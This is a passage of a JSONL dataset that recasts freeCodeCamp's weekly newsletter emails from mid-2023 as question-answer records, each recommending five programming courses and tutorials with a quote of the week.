contemporary tools. Then you'll integrate it with OpenAI's GPT-4 API for world-class AI chat responses. By the end of this course, you'll have built your own ChatGPT clone that you can show off to your friends. (6 hour YouTube course): https://www.freecodecamp.org/news/build-an-ai-chatbot-with-the-mern-stack/\n\n4. PostgreSQL is the most popular SQL database for building new projects. It's open source, and extremely battle-tested, being used at companies like Apple, Instagram, and Spotify. NASA even uses it on some of their projects. This course will show you how to run Postgres on your local computer and run several types of SQL queries. You'll even learn some Relational Database concepts, and advanced features like Aggregate Functions. (3 hour YouTube course): https://www.freecodecamp.org/news/posgresql-course-for-beginners/\n\n5. If you're anything like me, your browser probably has way too many tabs open right now. Not only are these eating up your computer's memory – they are also opening you up to a type of malicious attack called “Tabnabbing”. This may just sound like something PacMan does, but it can lead to some serious consequences. This quick tutorial by Juanita Washington will explain how Tabnabbing techniques work, so that you can defend yourself against bad actors who would use Tabnabbing to trick you. (5 minute read): https://www.freecodecamp.org/news/what-is-tabnabbing/\n\nQuote of the Week: *\"Every time I think I'm doing some horrible front end code that ‘works’ I think back to when Fallout 3 wanted to animate a train, but objects can't move in their engine. So they gave an invisible guy a train-shaped-sized hat instead, and made him run the tracks. That's the spirit.\"* — Front End Developer freezydorito on Twitter (And yes, that is really how Fallout 3's trains work)", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740602"}
{"id": "gh_3c6c8e3e2929", "question": "How to: Oct 13, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Bun is hot out of the oven. The Node.js alternative JavaScript Runtime just released their version 1.0 last month, and already freeCodeCamp has this crash course for you. You'll learn how to set up a Bun web server, create routes, handle errors, add plugins, and wire everything to your front end. A lot of devs seem to dig Bun's superior performance and its built-in support for TypeScript and JSX. If you already know some Node.js, Bun shouldn't be too time-consuming to learn. This crash course is a good place to jump in. (1 hour YouTube course): https://www.freecodecamp.org/news/learn-bun-a-faster-node-js-alternative\n\n2. If you're building an AI system, please consider learning about AI ethics. freeCodeCamp just published our second primer on this important and potentially extinction-preventing topic. You don't need to know a lot about programming or about philosophy to enjoy this course. You'll learn about the current Black Box AI approach that many Large Language Models use, and its limitations. You'll also learn about some scenarios that were previously considered to be science fiction, such as The Singularity. freeCodeCamp is proud to help inform the discourse on developing AI tools responsibly. (2 hour YouTube course): https://www.freecodecamp.org/news/the-ethics-of-ai-and-ml/\n\n3. If you've experimented with Large Language Models like GPT-4, you may be somewhat disappointed by their capabilities. Well, getting good responses out of LLMs is a skill in itself. This course will teach you the art and the science of Prompt Engineering, and even introduce some AI-assisted coding concepts. Then you'll be able to write clearer prompts and get more helpful responses from AI. I spent some time learning these techniques myself, and was blown away by how much more useful they made ChatGPT for me. (3 hour YouTube course): https://www.freecodecamp.org/news/prompt-engineering-for-web-developers/\n\n4. You may have used Notion before to organize your thoughts or plan a project. What if I told you that you could code your own Notion clone using open source tools? This course will walk you through doing just that. You'll learn to use the popular Next.js web development framework, the DALL-E AI image creator, Tailwind CSS, and even some Object Relational Mappers to communicate with your databases. You'll code the User Interface, code the back end, then deploy your finished app to the cloud. (3 hour YouTube course): https://www.freecodecamp.org/news/build-and-deploy-a-full-stack-notion-clone-with-next-js-dall-e-vercel/\n\n5. Put on your learning cap, because we're going to learn the many ways that computers talk to one another. This tutorial will whisk you through 6 key API integration patterns: REST APIs, Remote Procedure Calls, GraphQL, Polling, WebSockets, and WebHooks. By the end of this quick tutorial, you'll have a much better understanding of how the internet really works. This will make you a more well-rounded developer. (20 minute read): https://www.freecodecamp.org/news/api-integration-patterns/\n\nQuote of the Week: *\"Perhaps we should all stop for a moment and focus not only on making our AI better and more successful, but also on the benefit of humanity.\"* — Stephen Hawking, Astrophysicist and Science Author", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740614"}
{"id": "gh_465b196fd115", "question": "How to: Oct 6, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. VS Code is a powerful code editor used by pretty much every developer on freeCodeCamp's team, and most of the other developers I know, too. But much of its power is non-obvious. So freeCodeCamp published this comprehensive beginner-to-advanced VS Code course. It will help you navigate VS Code's Command Palette, customized themes, keyboard shortcuts, and its library of extensions for React, GitHub, and more. (6 hour YouTube course): https://www.freecodecamp.org/news/increase-your-vs-code-productivity/\n\n2. Arduino is a popular open source hardware project. You can use Arduino microcontrollers to build musical instruments, automate your home, prototype your electronics, or even gather climate data for a farm. This week freeCodeCamp published our Arduino Handbook to help you learn the Arduino programming language and how to leverage its powerful ecosystem of tools. (full-length handbook): https://www.freecodecamp.org/news/the-arduino-handbook\n\n3. Learn how to build and deploy your own Ecommerce app using the latest version of the popular Next.js framework. You'll build a fully-functional shop complete with authentication and shopping cart functionality. You can code along at home and use the latest tools for everything: Tailwind CSS, the daisyUI component library, Prisma and MongoDB for data storage, and Vercel for deploying your shop to the cloud. (6 hour YouTube course): https://www.freecodecamp.org/news/ecommerce-site-with-next-js-tailwind-daisyui-course\n\n4. freeCodeCamp also published a course on coding your own developer portfolio page using the SvelteKit web development framework and Tailwind CSS. This course will teach you how to build user interfaces quickly without having to micro-manage your CSS. You'll even implement particle effects. Spend an hour of your week getting some exposure to these powerful tools. (1 hour YouTube course): https://www.freecodecamp.org/news/learn-sveltekit-and-tailwind-css-by-building-a-web-portfolio/\n\n5. With all these recent breaches, API security has become a hot topic among developers. So, of course, freeCodeCamp is coming in clutch with this API security course. 20-year industry veteran Dan Barahona dives deep into PCI-DSS (the Payment Card Industry Data Security Standard). This set of rules governs online transactions. If your app or website does anything related to commerce, these best practices will help keep you and your customers secure. (1 hour YouTube course): https://www.freecodecamp.org/news/api-security-for-pci-compliance/\n\nQuote of the Week: *\"Just like with everything else, tools won't give you good results unless you know how, when, and why to apply them. If you go out and you buy the most expensive frying pan on the market, it's still not going to make you a good chef.\"* — Dr. Christin Wiedemann, Software Engineer and Physicist", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740624"}
{"id": "gh_828ab4e5e78b", "question": "How to: Sep 29, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Mojo is a programming language that combines the usability of Python with the performance of C. It just came out this month, and already the freeCodeCamp community has developed a course for it. You'll learn how to leverage Mojo's strengths for developing AI systems. This beginner's course will walk you through how Mojo works, and teach you its Data Types, Control Flow, Libraries, and more. (2 hour YouTube course): https://www.freecodecamp.org/news/new-mojo-programming-language-for-ai-developers/\n\n2. Another emerging AI development tool is LangChain. It's a framework for Python and JavaScript that makes it easier to build apps around Large Language Models like GPT4. LangChain can help you connect various data sources to your model – including your own databases. This project-based beginner's course will teach you how to get started with LangChain by coding your own pet name generator. (1 hour YouTube course): https://www.freecodecamp.org/news/learn-langchain-for-llm-development/\n\n3. But don't think that freeCodeCamp is just focused on cutting edge AI tools. This week we also published a comprehensive crash course on Java. Learn why Java is celebrated as a “write once, run anywhere” programming language. You'll get practice with Java fundamentals, and get exposure to the powerful Java Virtual Machine. The JVM handles memory management, garbage collection, multithreading, and even some of your application security. This course is a great place to get started with Java. (4 hour YouTube course): https://www.freecodecamp.org/news/learn-the-basics-of-java-programming/\n\n4. The 0/1 Knapsack Problem is an iconic optimization problem in computer science. Let's say you're in a hurry, and you need to pack your belongings into a knapsack that you can take with you. How do you maximize the value of your belongings given that you can only carry a certain amount of weight? To solve this problem, we're going to use C# and a coding approach called Dynamic Programming. freeCodeCamp instructor Gavin Lon teaches this course, and he even plays some electric guitar in the video. I think you'll dig it and learn a lot. (1 hour YouTube course): https://www.freecodecamp.org/news/how-to-use-dynamic-programming-to-solve-the-0-1-knapsack-problem/\n\n5. September 30th is World Translation Day. And the freeCodeCamp community is celebrating by publishing this full-length Localization Handbook that will show you how to translate your website or app into many world languages. Over the years, freeCodeCamp has published more than 11,000 coding tutorials. And we're working to localize these into many languages, so everyone can benefit from them. If you or your friends grew up speaking a language other than English, I encourage you to get involved. We have powerful software to help you make the most of any time you're able to volunteer. (full book): https://www.freecodecamp.org/news/localization-book-how-to-translate-your-website\n\nQuote of the Week: *\"Too many apparently “simple” technologies merely shift the complexity to other places: higher level tools, frameworks, package managers, wrappers, syntax extensions, etc. But well designed systems are simple to learn and use end-to-end, while permitting experts to build amazing things.\"* — Chris Lattner, software engineer and designer of both the Mojo and Swift programming languages", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740635"}
{"id": "gh_f86408772f8e", "question": "How to: Sep 22, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a comprehensive Python for Beginners course, taught by software engineer Dave Gray. You'll learn key Python concepts by building a series of mini projects. By the end of this course, you'll be familiar with Python Data Types, Loops, Modules, and even some Object-Oriented Programming. If you want to learn programming, or brush up on your fundamental skills, this course is an excellent place to start. (9 hour YouTube course): https://www.freecodecamp.org/news/ultimate-beginners-python-course/\n\n2. Learn to build your own AI Software-as-a-Service platform. In this intermediate course, you'll code an app where your users can drag in a PDF and immediately start chatting with an AI about the document. Along the way, you'll learn how to use Next.js, Tailwind CSS, and OpenAI's API, and Stripe's API. And you'll even learn how to deploy your app using Vercel. (4 hour YouTube course): https://www.freecodecamp.org/news/build-and-deploy-an-ai-saas-with-paid-subscriptions/\n\n3. And if you want to further improve your Front End Development skills, this course should do the trick. You'll code your own Search Engine-optimized blog, complete with custom fonts, light & dark themes, responsive design, and Markdown-based rendering. You'll learn modern tools like Next.js, Tailwind CSS, and Supabase. (6 hour YouTube course): https://www.freecodecamp.org/news/build-an-seo-optimized-blog-with-next-js\n\n4. One of the most important design decisions you can make is picking the right font. This involves so many style and legibility considerations. But you also want to keep performance in mind. This guide will help you choose the right fonts for your next project, and ensure that they load as quickly as possible for your users. (16 minute read): https://www.freecodecamp.org/news/things-to-consider-when-picking-fonts/\n\n5. People often ask me: what's the best way to get practical experience as a developer? And I answer: contribute to open source projects. But that's easier said than done. Not only do you need to understand a project's codebase, but you also need to familiarize yourself with open source culture. This guide will help you learn how to communicate with project maintainers. That way you can succeed in getting your contributions merged, so you can get your code running in production. (20 minute read): https://www.freecodecamp.org/news/how-to-contribute-to-open-source/\n\nQuote of the Week: *\"Good design's not about what medium you're working in. It's about thinking hard about what you want to do. And what you have to work with before you start.\"* — Susan Kare, Designer of the fonts and icons for the first Apple Macintosh, and pixel art pioneer", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740645"}
{"id": "gh_f4de277d9fef", "question": "How to: Sep 15, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a beginner AI course where you can code your own assistant. You'll learn about vector embeddings and how you can use them on top of GPT-4 and other Large Language Models. This way you can code your own AI assistant with output customized by you. For example, you can throw all 11,000 tutorials freeCodeCamp has published into a database, embed them, and then your AI assistant can retrieve relevant tutorials when you ask it a question. This may sound pretty advanced, but modern tools make this a lot easier. You'll learn how to use OpenAI's GPT-4 API, LangChain, data from Hugging Face, and age-old Natural Language Processing techniques. (1 hour YouTube course): https://www.freecodecamp.org/news/vector-embeddings-course/\n\n2. Dynamic Programming (DP) is a method for solving complicated problems by breaking them down into smaller bits. You then store the solutions to these sub-problems in a table, where they can be more efficiently accessed, so the computer doesn't need to recalculate them each time. This efficient DP approach comes up all the time in Algorithms & Data Structure coding interview questions. And this freeCodeCamp course will teach you how to ace those questions. We teach DP using Java. But if you know Python, C++, or JavaScript, you may be able to follow along as well. (3 hour YouTube Course): https://www.freecodecamp.org/news/learn-dynamic-programming-in-java/\n\n3. Terraform is a powerful Infrastructure-as-Code DevOps tool. You can write Terraform code that provisions infrastructure from multiple cloud service providers at the same time. For example Amazon Web Services, Microsoft Azure, and Google Cloud Platform. freeCodeCamp uses Terraform extensively to wrangle our 100+ servers around the world. Now you can learn to leverage this power, too. And earn a professional certification while you're at it. This Terraform Certified Associate guide will help you grok the advanced concepts, modules, and workflows necessary to pass the exam. It also includes a full-length Terraform course freeCodeCamp published a few weeks ago. (45 minute read): https://www.freecodecamp.org/news/terraform-certified-associate-003-study-notes/\n\n4. CSS transitions are a high-performance way to animate a webpage directly – using its HTML elements. And this handbook will teach you how to harness their power. You'll learn about animation keyframes, timing, looping, and more. (full-length handbook): https://www.freecodecamp.org/news/css-transition-vs-css-animation-handbook/\n\n5. Finally, freeCodeCamp published a Fundamentals of Finance and Economics course. It covers a lot of key concepts you learn in business school, such as Time-Value of Money, Capital Budgeting, Financial Statements, and how Macroeconomic Forces shape industries. We plan to publish a lot more courses like this one in the future, to complement our already massive selection of math and computer science courses. (2 hour YouTube course): https://www.freecodecamp.org/news/fundamentals-of-finance-economics-for-businesses/\n\nQuote of the Week: *\"If “Dynamic Programming” didn't have such a cool name, it would be known as “populating a table.”\"* — Mark Dominus, Software Engineer and Author of the book High Order Perl", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740656"}
{"id": "gh_5a1e750ef2fe", "question": "How to: Sep 8, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. The first time I used ChatGPT, I was impressed. But I didn't yet realize how useful it would become in my day-to-day work as a developer. Only after I learned some Prompt Engineering techniques did I get good at communicating with the AI. Now I'm much more effective at getting Large Language Models to do tasks for me. That's why I'm excited to share this new freeCodeCamp course on Prompt Engineering. Ania Kubów will teach you techniques like Few-Shot Prompting, Vectors, Embeddings, and how to reduce AI hallucinations. (1 hour YouTube course): https://www.freecodecamp.org/news/learn-prompt-engineering-full-course/\n\n2. If you're brand new to HTML and CSS, this is the book for you. You'll learn about HTML, the skeleton of a webpage. You'll learn about CSS, the skin of a webpage. You'll even learn a little about JavaScript, the muscles of a webpage. Sprinkle in some DevTools and HTTP requests. Now you've got a proper web dev primer. Enjoy the book, and bookmark it for future reference as well. (full-length handbook): https://www.freecodecamp.org/news/html-css-handbook-for-beginners/\n\n3. Code your own cloud storage app using contemporary web development tools. This course will teach you how to use TypeScript – a version of JavaScript where all your variables are statically typed. This reduces bugs. You'll also use Next.js, a powerful front end framework. Then you'll layer on Tailwind CSS, a popular library for styling your user interface components. Finally, you'll learn how to use Firebase 9 to store your data. (3 hour YouTube course): https://www.freecodecamp.org/news/full-stack-web-development-by-building-a-google-drive-clone-nextjs-firebase/\n\n4. New developers often ask me how they can get some practical experience writing software. My answer: contribute to open source projects. There are thousands of software engineers out there who will review your work and give you feedback. Some of your code may even make it into production, where many people will benefit from it. Each open source contribution you make to a project like freeCodeCamp is a feather in your cap. And this book will show you how to get started with open source. (full-length handbook): https://www.freecodecamp.org/news/how-to-contribute-to-open-source-handbook/\n\n5. How do you filter the signal from the noise? Why, through Signal Processing. This is the set of techniques that engineers have used for decades to make clearer television signals, phone calls, and even medical diagnostic images. This tutorial will bring you up to speed on Signal Processing and Fast Fourier Transforms, which underpin many file compression algorithms. You'll also learn about Causality, Linearity, and Time-invariance. (20 minute read): https://www.freecodecamp.org/news/signal-processing-and-systems-in-programming/\n\nAlso be sure to tell your Spanish-speaking friends that freeCodeCamp has a ton of courses in Spanish, including this new web dev course for beginners where you code your own Pokémon pokédex: https://www.freecodecamp.org/news/html-css-and-javascript-project-in-spanish-create-a-pokedex/\n\nQuote of the Week: *\"Being good at prompt engineering in 2023 is like being good at Googling in 2003.\"* — Matt Turck, Venture Capitalist", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740667"}
{"id": "gh_0087c1f7ed9d", "question": "How to: Sep 1, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. I'm excited to announce that freeCodeCamp has teamed up with Microsoft to bring you a freely available professional certification: the Foundational C# Certification. If you're interested in learning some C# and having a credential to put on your LinkedIn or CV, this program is for you. You'll complete 35 hours of training, then take an 80-question exam. We provide all the preparation materials, including a 90-minute video walk-through of the cert program. (free verified professional certification from Microsoft): https://www.freecodecamp.org/news/free-microsoft-c-sharp-certification/\n\n2. There are so many powerful AI tools out there, such as GPT-4. But what if you don't use tools. What if you build your own AI from scratch, using a “no black box” method? This course from Dr. Radu Mariescu-Istodor, who teaches computer science in Finland, will show you how to design such a system. You'll code an AI that can recognize and classify drawings. If you draw a fish, your AI will learn to recognize it as a fish. This is an excellent Machine Learning fundamentals course for any dev with some JavaScript knowledge and a bit of curiosity. (4 hour YouTube course): https://www.freecodecamp.org/news/learn-machine-learning-and-neural-networks-without-frameworks/\n\n3. This week, freeCodeCamp published The C Programming Handbook. It will teach you the basics of coding in C, one of the oldest and most important languages. You can read the entire book in your browser, and bookmark it for future reference. The book covers Data Types, Operators, Conditional Logic, Loops, and more fundamental coding concepts. Time spent improving your C is never wasted. (full-length handbook): https://www.freecodecamp.org/news/the-c-programming-handbook-for-beginners/\n\n4. And we also published a handbook on Agile Software Development methodologies. You'll learn about the Agile Manifesto and how it spawned a smörgåsbord of approaches to building projects. You'll read about Scrum, Kanban, Extreme Programming, and how to ship features at scale. If you want your team to benefit from some of these concepts, this book is an excellent place to get started. (full-length handbook): https://www.freecodecamp.org/news/agile-software-development-handbook/\n\n5. 20 years ago, a few developers sat down to catalog the most common security issues they were discovering on the web. And from that, the OWASP Top 10 emerged as a popular reference for devs. You can use OWASP as a checklist to ensure a baseline level of security in your apps. This course will teach you how to spot these common pitfalls and avoid them in your projects. (90 minute YouTube course): https://www.freecodecamp.org/news/owasp-api-security-top-10-secure-your-apis/\n\nFinally, I'm thrilled to introduce you to freeCodeCamp Press. These past few months, we've worked with developers from around the world to publish dozens of full length books and handbooks. Our goal is to share these tomes of wisdom with devs everywhere. You can bookmark these books to serve as a reference as you continue to expand your programming skills: https://www.freecodecamp.org/news/freecodecamp-press-books-handbooks/\n\nQuote of the Week: *\"A lot of people don’t realize how much work goes into making some thing look like it was no work at all.\"* — Scott Hanselman, developer, teacher, and podcast host", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740678"}
{"id": "gh_689b5f79cb2d", "question": "How to: Aug 25, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a new book to help you learn Python programming. This book explains core Python concepts through more than 100 code examples. It also shows you how to install the latest version of Python and use it in both VS Code and PyCharm. You'll learn about loops, data types, conditional logic, modules, and more. (full-length book): https://www.freecodecamp.org/news/the-python-code-example-handbook/\n\n2. For more Python practice, you can develop your own game with Pygame. You'll code your own playable version of the 1970s arcade classic Pong. This is a great first project for a beginner Python developer. (1 hour YouTube course): https://www.freecodecamp.org/news/beginners-python-tutorial-pong/\n\n3. And if you're ready for some more advanced Python, how about building an app on top of GPT-4, the powerful Large Language Model that powers ChatGPT? This course will show you how to use Python libraries, Vector Databases, and LLM APIs to create your own AI agents that can browse the web and carry out tasks for you. This is no longer science fiction – it's something anyone can sit down and learn how to do with some patience and good instruction. And freeCodeCamp has got good instruction in spades. (2 hour YouTube course): https://www.freecodecamp.org/news/development-with-large-language-models/\n\n4. Steganography. It's not a dinosaur – it's a method of hiding information in plain sight. This tutorial will teach you how Steganography works. Then it will show you how to code your own algorithm that can encrypt data right into the pixels of an image. (20 minute read): https://www.freecodecamp.org/news/build-a-photo-encryption-app/\n\n5. If you're feeling really ambitious, why not code your own Dropbox-like cloud storage app? This new freeCodeCamp course will teach you how to use the popular PHP Laravel web development framework. You can code along at home and build your own cloud locker app with a user-friendly web interface. This app will back up your files to Amazon's cloud, so you can conveniently share them with friends. (14 hour YouTube course): https://www.freecodecamp.org/news/build-a-google-drive-clone-with-laravel-php-vuejs/\n\nQuote of the Week: *\"Only ugly languages become popular. Python is the one exception.\"* — Donald Knuth, prolific computer science author and Turing Award recipient", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740687"}
{"id": "gh_b25961713c59", "question": "How to: Aug 18, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. The freeCodeCamp community loves JavaScript almost as much as we love Python. And we published several JavaScript tutorials for you this week. First and foremost, this tutorial by Kolade Chris will teach you some advanced JS concepts like Template Interpolation, Unary Plus, the Spread Operator, Destructuring, and Math Object methods. With tons of code examples, this tutorial should help you take your JS to the next level. (40 minute read): https://www.freecodecamp.org/news/javascript-tips-for-better-web-dev-projects/\n\n2. Next you'll want to brush up on your JavaScript Operators. These are the valves that control how data flows through your app. This tutorial by freeCodeCamp contributor Nathan Sebhastian will walk you through Logical Operators, Comparison Operators, and even Bitwise Operators for extremely granular control. You'll even learn the ultra-concise Ternary Operator. (25 minute read): https://www.freecodecamp.org/news/javascript-operators/\n\n3. And if you want to turn your JS skills all the way up to 11, you can learn JavaScript Promises. Unlike Python, JavaScript is famously an asynchronous programming language. If you're a beginner, this asynchronicity can really melt your brain. That's where Promises come in. They help you rein in your parallel-running code so you can harness its true high-performance power. (25 minute read): https://www.freecodecamp.org/news/javascript-promises-async-await-and-promise-methods/\n\n4. freeCodeCamp just published a comprehensive website optimization course, taught by prolific teacher Beau Carnes. You'll learn about caching techniques, server configuration, monitoring, Domain Name Systems, Content Delivery Networks, and more. This course is focused on WordPress, but you can apply most of these concepts to your website regardless of which tools you're using. Beau also included a book-length optimization guide. You should be able to read it and find a few low-hanging fruit ways to speed up your site. (full book + 2 hour YouTube course): https://www.freecodecamp.org/news/the-ultimate-guide-to-high-performance-wordpress/\n\n5. Terraform is a powerful Infrastructure-as-Code DevOps tool. You can write Terraform code that provisions infrastructure from multiple cloud service providers at the same time. For example Amazon Web Services, Microsoft Azure, and Google Cloud Platform. freeCodeCamp uses Terraform extensively to wrangle our 100+ servers around the world. And now you can learn to use it, too, and earn a professional certification as well. This Terraform cert prep course will help you grok the advanced concepts, modules, and workflows necessary to pass the exam. (7 hour YouTube course): https://www.freecodecamp.org/news/hashicorp-terraform-associate-certification-study-course-pass-the-exam-with-this-free-12-hour-course\n\nFinally, I created a video of my own. Over the years, one of the most common questions people ask me is: \"With freeCodeCamp and other self-teaching tools, do I still need to go to university?\" I answer this question and many more about technology, higher education, and the labor market. If you're considering going to university or have college-age kids, I encourage you to watch this and share it with your friends. I'd welcome any feedback you have. (1 hour watch): https://www.freecodecamp.org/news/is-college-worth-it\n\nQuote of the Week: *\"Any application that can be written in JavaScript, will eventually be written in JavaScript.\"* — Atwood's Law, coined by Stack Overflow co-founder Jeff Atwood. I interviewed Jeff Atwood at his home in California. And I'm publishing my interview this week on The freeCodeCamp Podcast. Search for it in your podcast player of choice. And tell your friends.", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740700"}
{"id": "gh_d4bf33b96d0f", "question": "How to: Aug 4, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. For decades, Hollywood has created nightmare scenarios around AI destroying humanity. The Terminator, The Matrix, and most recently Ex Machina. Of course, we've already been using primative forms of AI for decades. It already powers many of the systems we rely on as a society. So how can we make new AI systems as safe as possible? Well, this freeCodeCamp course taught by the founder of Safe.AI will walk you through key concepts like Anomaly Detection, Interpretable Uncertainty, Black Swan Robustness, and Detecting Emergent Behavior. If you're serious about working on AI as a developer, this course should be required viewing. Take lots of notes and share it with your friends. (8 hour YouTube course): https://www.freecodecamp.org/news/building-safe-ai-reducing-existential-risks-in-machine-learning/\n\n2. One unambiguously good way to use AI is to help doctors detect diseases like cancer. This course is taught by New York City physician and programmer Dr. Jason Adleberg. In it, he'll share how he uses Machine Learning to help identify diseases. He'll show you how to use Python TensorFlow to prepare data, train your model, and evaluate its performance. If you're interested in the overlap between AI and medicine, this course is for you. (1 hour YouTube course): https://www.freecodecamp.org/news/medical-ai-models-with-tensorflow-tutorial/\n\n3. Computers have been able to add numbers for more than 100 years. But today we're going to add numbers the hard way: by training a neural network to do it. This tutorial will teach you some Python Machine Learning concepts in the context of a very simple problem: adding 1 plus 1. (10 minute read): https://www.freecodecamp.org/news/how-to-add-two-numbers-using-machine-learning/\n\n4. Higher-Order Components are a powerful feature of the React JavaScript Library. You can use HOCs to take one React component and wrap it in another, returning a new component. These make your React code more flexible, more reusable, and easier to maintain. This tutorial will show you how to build your first HOC, and explain what's happening under the hood. (15 minute read): https://www.freecodecamp.org/news/higher-order-components-in-react/\n\n5. I just published my sixth episode of The freeCodeCamp Podcast. This week I talked with Sasha Sheng about how she got laid off from a Big Tech company, then dusted herself off and won a bunch of AI hackathons around San Francisco. And last week I met with one-and-only Shawn “Swyx” Wang to talk about his new AI Engineering projects, and where he thinks all this is heading. Search freeCodeCamp in your podcast player of choice, download some of the episodes, and tell your friends. I'll keep these interviews coming every Friday.\n\nQuote of the Week: *\"The genie is out of the bottle. We need to move forward on artificial intelligence development, but we also need to be mindful of its very real dangers.\"* — Stephen Hawking, Theoretical Physicist, way back in 2017", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740720"}
{"id": "gh_0bcdb7957ad1", "question": "How to: July 28, 2023", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a full-length book on RegEx. Regular Expressions are one of the most powerful – and most confusing – features of programming languages. You'll learn concepts like flags, metacharacters, grouping, lookaround, and other advanced techniques. If you know even a little JavaScript, this book is for you. (full-length book): https://www.freecodecamp.org/news/regular-expressions-for-javascript-developers/\n\n2. We also published an API development handbook. This book will walk you through setting up your own backend architecture using the powerful FastAPI Python framework. You'll learn how to structure your API, add a database, test it, and deploy it. Along the way, you'll code your own IMDB-like review aggregator site. Be sure to bookmark this and share it with your developer friends. (full-length handbook): https://www.freecodecamp.org/news/fastapi-quickstart/\n\n3. And if you want to go even deeper into full-stack web development, this next course is for you. You'll code your own Next.js front end, API backend, and secure JSON Web Token user authentication system. You'll also learn about Middleware Route Protection, Appwrite, and MongoDB databases. (6 hour YouTube course): https://www.freecodecamp.org/news/full-stack-with-nextjs-and-appwrite-course/\n\n4. I'm going to attempt to explain 3 types of cloud storage in this single paragraph. Block Storage is like a book shelf that can hold a set number of pages – say 100. A 200 page book would take up 2 shelves. File Storage then adds abstractions on top of that, such as directories and hierarchy. Finally, Object Storage is the newest, most durable approach. It just uses flat files. And I'm just scratching the surface here. You should totally read more in Daniel's thoughtful tutorial. (15 minute read): https://www.freecodecamp.org/news/cloud-storage-options/\n\n5. Learn to build “markerless” Augmented Reality objects that effortlessly float in space without the need for QR codes or other markers. This freeCodeCamp course will show you how to render a solar system around you. You'll render jet turbine simulations, virtual gardens, and even figure out how much furniture you can fit in your room. This is some cool emerging tech and I think you'll enjoy playing with it. (2 hour YouTube course): https://www.freecodecamp.org/news/take-your-first-steps-into-the-world-of-augmented-reality/\n\nQuote of the Week: *\"Some people, when confronted with a problem, think “I know, I'll use regular expressions.” Now they have two problems.\"* — Jamie Zawinski, Netscape Navigator Developer and reluctant RegEx user", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740729"}
